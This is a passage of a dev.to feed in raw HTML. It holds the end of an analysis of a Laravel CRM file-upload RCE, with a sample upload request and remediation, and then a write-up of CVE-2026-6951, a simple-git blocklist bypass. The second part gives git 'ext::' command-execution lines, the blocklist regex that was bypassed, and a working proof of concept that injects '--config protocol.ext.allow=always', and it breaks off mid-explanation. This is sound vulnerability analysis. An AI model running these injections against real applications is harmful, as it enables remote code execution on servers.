&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down line by line:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;①&lt;/strong&gt; &lt;code&gt;$request-&amp;gt;file('file')&lt;/code&gt; reads the uploaded file straight from the request. No validation has happened yet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;②&lt;/strong&gt; &lt;code&gt;getClientOriginalName()&lt;/code&gt; trusts whatever filename the &lt;em&gt;browser&lt;/em&gt; sent. If an attacker names the file &lt;code&gt;shell.php&lt;/code&gt;, the server accepts that name verbatim. This is a textbook case of trusting client-controlled input that should never be trusted server-side.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;③&lt;/strong&gt; This is the real killer. Laravel's &lt;code&gt;storage/app/public&lt;/code&gt; disk is symlinked to the public web root via &lt;code&gt;php artisan storage:link&lt;/code&gt;. Anything saved there is reachable by URL. That's fine for actual images — but a &lt;code&gt;.php&lt;/code&gt; file dropped in this directory becomes a script the web server will &lt;em&gt;execute&lt;/em&gt; on request, not just serve.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;④&lt;/strong&gt; The response conveniently returns the exact path of the uploaded file, so the attacker doesn't even need to guess it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three layers of defense are missing here, any one of which would have stopped the attack:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;No extension allowlist&lt;/strong&gt; — nothing restricts uploads to &lt;code&gt;.jpg&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt;, &lt;code&gt;.gif&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No MIME/content validation&lt;/strong&gt; — the &lt;code&gt;Content-Type&lt;/code&gt; header is either trusted blindly or not checked at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage in an executable path&lt;/strong&gt; — uploaded files land under the PHP-interpreted web root instead of an isolated, non-executable location.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Attack flow
&lt;/h2&gt;

&lt;p&gt;The attack proceeds in four stages:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdyqwp5lvuua77jfox44e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdyqwp5lvuua77jfox44e.png" alt=" " width="800" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Authenticate&lt;/strong&gt; — a low-privileged authenticated user — no admin role required — can reach &lt;code&gt;/admin/tinymce/upload&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Upload the payload&lt;/strong&gt; — a multipart request like this:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/admin/tinymce/upload&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;target&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;authenticated session&amp;gt;&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;multipart/form-data; boundary=----boundary&lt;/span&gt;

------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

&amp;lt;?php /* malicious code */ ?&amp;gt;
------boundary--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;code&gt;Content-Type: image/jpeg&lt;/code&gt; header — it's entirely attacker-controlled. If the server trusts this header instead of inspecting the file's actual bytes (its magic number), this spoofed header is enough to sail through.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stored without validation&lt;/strong&gt; — the file lands in a public directory like &lt;code&gt;storage/tinymce/&lt;/code&gt; under its original filename, and the server returns the file's public URL in the response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code execution&lt;/strong&gt; — a plain &lt;code&gt;GET&lt;/code&gt; request to that URL is enough. The web server sees the &lt;code&gt;.php&lt;/code&gt; extension, hands it to the PHP interpreter, and the embedded code runs with the web server's privileges (typically &lt;code&gt;www-data&lt;/code&gt;).
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authenticate → Upload file → Saved in webroot → Code execution
  (valid          (no ext.         (PHP-exec.        (RCE
   account)        check)           path)             achieved)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The upload itself is "just" a file write — the vulnerability exists because the write lands in a location the server will execute. That's the essence of CWE-434.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/sSrw8vGyvPk" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  Impact
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Arbitrary command execution with web server process privileges&lt;/li&gt;
&lt;li&gt;Exposure of &lt;code&gt;.env&lt;/code&gt; and other config files, including database credentials&lt;/li&gt;
&lt;li&gt;Potential for full system compromise&lt;/li&gt;
&lt;li&gt;Given this is CRM software, customer PII and sales data are directly at risk&lt;/li&gt;
&lt;li&gt;An estimated ~2,700 internet-facing instances are believed affected&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Immediate&lt;/td&gt;
&lt;td&gt;Block or restrict &lt;code&gt;/admin/tinymce/upload&lt;/code&gt; at the WAF / reverse proxy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Short term&lt;/td&gt;
&lt;td&gt;Disable PHP execution in upload directories (&lt;code&gt;.htaccess&lt;/code&gt; with &lt;code&gt;php_flag engine off&lt;/code&gt;, or an Nginx &lt;code&gt;location&lt;/code&gt; block denying &lt;code&gt;.php&lt;/code&gt; execution)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Code fix&lt;/td&gt;
&lt;td&gt;Enforce both an extension allowlist &lt;em&gt;and&lt;/em&gt; real MIME/content inspection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;Never trust the client filename — generate a random name (UUID) server-side&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;Move uploads outside the web root, or to an isolated object store (e.g. S3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access control&lt;/td&gt;
&lt;td&gt;Restrict upload capability to the roles that actually need it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monitoring&lt;/td&gt;
&lt;td&gt;Alert on unusual access to, or execution from, upload directories&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A corrected version of the handler looks roughly like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
        &lt;span class="s1"&gt;'file'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'required|image|mimes:jpg,jpeg,png,gif,webp|max:4096'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Server generates the filename — client input is never trusted&lt;/span&gt;
    &lt;span class="nv"&gt;$fileName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Str&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'.'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getClientOriginalExtension&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nv"&gt;$path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;storeAs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'tinymce'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$fileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'public'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
        &lt;span class="s1"&gt;'location'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;asset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'storage/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;mimes:&lt;/code&gt; rule validates the file's actual signature (magic bytes), not just its extension or &lt;code&gt;Content-Type&lt;/code&gt; header — so header spoofing alone can no longer bypass it.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>laravel</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-6951 — Bypassing simple-git's Blocklist via the --config Flag (RCE Analysis)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 07 Oct 2026 01:09:53 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-6951-bypassing-simple-gits-blocklist-via-the-config-flag-rce-analysis-4ee2</link>
      <guid>https://dev.to/guidance_white/cve-2026-6951-bypassing-simple-gits-blocklist-via-the-config-flag-rce-analysis-4ee2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdteh1w160d6vqwyi5wi5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdteh1w160d6vqwyi5wi5.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-6951&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected package&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;simple-git&lt;/code&gt; (npm)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;&amp;lt; 3.36.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched version&lt;/td&gt;
&lt;td&gt;3.36.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-94 (Improper Control of Generation of Code), CWE-88 (Argument Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosed&lt;/td&gt;
&lt;td&gt;2026-04-25&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  1. Overview
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;simple-git&lt;/code&gt; is the library that lets Node.js applications drive git programmatically — 8.7M weekly downloads and 7,789 dependent packages, making it a core piece of the JavaScript build/deploy toolchain.&lt;/p&gt;

&lt;p&gt;CVE-2026-6951 is an &lt;strong&gt;incomplete fix&lt;/strong&gt; for a vulnerability patched years earlier, &lt;strong&gt;CVE-2022-25912&lt;/strong&gt; (RCE via option injection). The 2022 patch only blocked the short-form &lt;code&gt;-c&lt;/code&gt; flag, while git treats the long-form &lt;code&gt;--config&lt;/code&gt; flag as a complete synonym — and the patch never blocked it. As a result, an attacker could reuse the exact same attack that had been "fixed" four years prior, just by changing how the flag was written.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Root Cause: Understanding CVE-2022-25912 First
&lt;/h2&gt;

&lt;p&gt;To understand this vulnerability properly, you first need to know what was patched in 2022.&lt;/p&gt;

&lt;p&gt;Git has a special remote-repository protocol called &lt;code&gt;ext::&lt;/code&gt;. It's meant to let git reach a remote repository through an external helper program — but the catch is that the "helper program" slot can hold &lt;strong&gt;arbitrary shell commands&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ext:: protocol example — everything after the colon is executed as-is&lt;/span&gt;
git clone &lt;span class="s2"&gt;"ext::sh -c touch% /tmp/pwned% &amp;gt;&amp;amp;2"&lt;/span&gt; /tmp/dest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is disabled by default and only works once the &lt;code&gt;protocol.ext.allow=always&lt;/code&gt; config value is turned on — a value that can be injected at the command line with &lt;code&gt;-c&lt;/code&gt; or &lt;code&gt;--config&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;-c&lt;/span&gt; protocol.ext.allow&lt;span class="o"&gt;=&lt;/span&gt;always &lt;span class="s2"&gt;"ext::sh -c '...'"&lt;/span&gt; /tmp/dest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the attack needs two conditions at once:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The ability to inject &lt;code&gt;protocol.ext.allow=always&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The ability to inject a malicious clone URL starting with &lt;code&gt;ext::&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;simple-git&lt;/code&gt; passes the &lt;code&gt;options&lt;/code&gt; (or &lt;code&gt;customArgs&lt;/code&gt;) array that callers provide to &lt;code&gt;clone()&lt;/code&gt;, &lt;code&gt;fetch()&lt;/code&gt;, etc. almost verbatim to the git binary. If an application mixes untrusted input (user input, external API responses) into that array, an attacker can satisfy both conditions above.&lt;/p&gt;

&lt;p&gt;The 2022 patch addressed condition 1 by detecting and blocking arguments like &lt;code&gt;-c protocol...allow=...&lt;/code&gt; with a &lt;strong&gt;blocklist regex&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The 2022 Patch's Structure — and Its Limit
&lt;/h2&gt;

&lt;p&gt;The patch lives in &lt;code&gt;simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts&lt;/code&gt;, with &lt;code&gt;preventProtocolOverride&lt;/code&gt; as the core function. Simplified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// block-unsafe-operations-plugin.ts (2022 patch, conceptually reconstructed)&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;preventProtocolOverride&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ① look for the exact token "-c"&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-c&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// e.g. "protocol.ext.allow=always"&lt;/span&gt;

      &lt;span class="c1"&gt;// ② check whether the next argument matches protocol.*.allow&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;*protocol&lt;/span&gt;&lt;span class="se"&gt;(\.[&lt;/span&gt;&lt;span class="sr"&gt;a-z&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;)?\.&lt;/span&gt;&lt;span class="sr"&gt;allow/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;GitPluginError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
          &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Walking through it line by line:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;① &lt;code&gt;args[i] === '-c'&lt;/code&gt;&lt;/strong&gt;: the function walks the argument array looking only for the exact string &lt;code&gt;-c&lt;/code&gt; (the short-form flag). It's a plain string comparison, so any other spelling of "pass a config value" is invisible to it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;② the regex check&lt;/strong&gt;: if the value right after &lt;code&gt;-c&lt;/code&gt; matches &lt;code&gt;protocol.allow&lt;/code&gt;, &lt;code&gt;protocol.ext.allow&lt;/code&gt;, etc., it throws and aborts execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This logic rests on a false assumption: &lt;strong&gt;that &lt;code&gt;-c&lt;/code&gt; is the only way to pass a config value to git.&lt;/strong&gt; In reality, git's CLI offers two interchangeable spellings for the same feature:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Detected?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-c key=value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;short form&lt;/td&gt;
&lt;td&gt;✅ caught&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--config key=value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;long form, &lt;strong&gt;functionally identical to &lt;code&gt;-c&lt;/code&gt;&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;❌ not caught&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Per git's own documentation, &lt;code&gt;-c&lt;/code&gt; and &lt;code&gt;--config&lt;/code&gt; are true synonyms and go through the exact same parsing path inside the git binary. But because &lt;code&gt;simple-git&lt;/code&gt;'s blocklist did an exact-string match against &lt;code&gt;'-c'&lt;/code&gt;, using &lt;code&gt;--config&lt;/code&gt; instead simply never triggers the check at all.&lt;/p&gt;

&lt;p&gt;This is a textbook case of &lt;strong&gt;the structural weakness of blocklist-based argument validation&lt;/strong&gt;. A complete denylist would have to enumerate every spelling that can mean the same thing — and CLI tools routinely offer several spellings for one feature (short/long forms, case variants, &lt;code&gt;=&lt;/code&gt;-joined forms, and so on), which makes this approach fragile by design. The sibling vulnerability &lt;strong&gt;CVE-2026-28292&lt;/strong&gt; (bypassing the same regex with uppercase &lt;code&gt;PROTOCOL.ALLOW=always&lt;/code&gt;, since the original pattern was case-sensitive) comes from the exact same root cause in the same plugin.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Attack Flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbbjrdfazeb5fpa8vthke.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbbjrdfazeb5fpa8vthke.png" alt=" " width="800" height="577"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The key moment is step 2. The attacker isn't using some sophisticated technique — the entire vulnerability boils down to &lt;strong&gt;changing how a flag is spelled&lt;/strong&gt; being enough to defeat a security fix that shipped four years earlier.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/0Ikpexn9MM4" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  5. A Working PoC
&lt;/h2&gt;

&lt;p&gt;Publicly available proof-of-concept code looks roughly like this (reconstructed to show the core logic, without external references):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;simpleGit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;simple-git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;myGit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;simpleGit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;myGit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ext::sh -c touch% /tmp/pwned% &amp;gt;&amp;amp;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// ① malicious clone URL&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/tmp/example-new-repo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;               &lt;span class="c1"&gt;// ② clone destination directory&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--config&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;protocol.ext.allow=always&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;// ③ the bypass option&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
